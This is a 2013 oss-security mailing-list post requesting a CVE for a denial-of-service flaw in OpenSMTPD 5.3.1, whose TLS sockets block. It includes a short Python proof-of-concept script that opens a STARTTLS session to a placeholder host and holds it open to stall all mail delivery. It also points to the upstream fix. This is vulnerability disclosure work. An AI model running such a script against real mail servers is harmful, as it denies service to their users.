Date: Sat, 18 May 2013 16:27:22 +0200 From: "Jason A. Donenfeld" <Jason@...c4.com> To: oss-security <oss-security@...ts.openwall.com> Cc: misc@...nsmtpd.org Subject: CVE Request: DoS in OpenSMTPD TLS Support Hi Kurt, The SSL handling in the latest OpenSMTPD (5.3.1) misconfigures its sockets in blocking mode, allowing an attacker to prevent all mail delivery simply by holding a socket open. I discovered this accidentally, as I noticed my HP printer's smtp client would keep the connection indefinitely open after an unsuccessful authentication attempt, causing no more mail to be delivered until I SIGKILL'd my smtpd process or unplugged my printer. The following reproduces the attack trivially: #!/usr/bin/env python2 import smtplib import time print "[+] Connecting to server and initiating TLS" smtp = smtplib.SMTP("mail.some-vitim-host.blah", 587) smtp.starttls() print "[+] No clients will be able to connect as long as this remains open." time.sleep(100000000) Apparently this was fixed recently upstream, noting "evil client" in the commit message: http://git.zx2c4.com/OpenSMTPD/commit/?id=38b26921bad5fe24ad747bf9d591330d683728b0 A snapshot has been posted to http://www.opensmtpd.org/archives/ , but no patch release has yet been made. Jason
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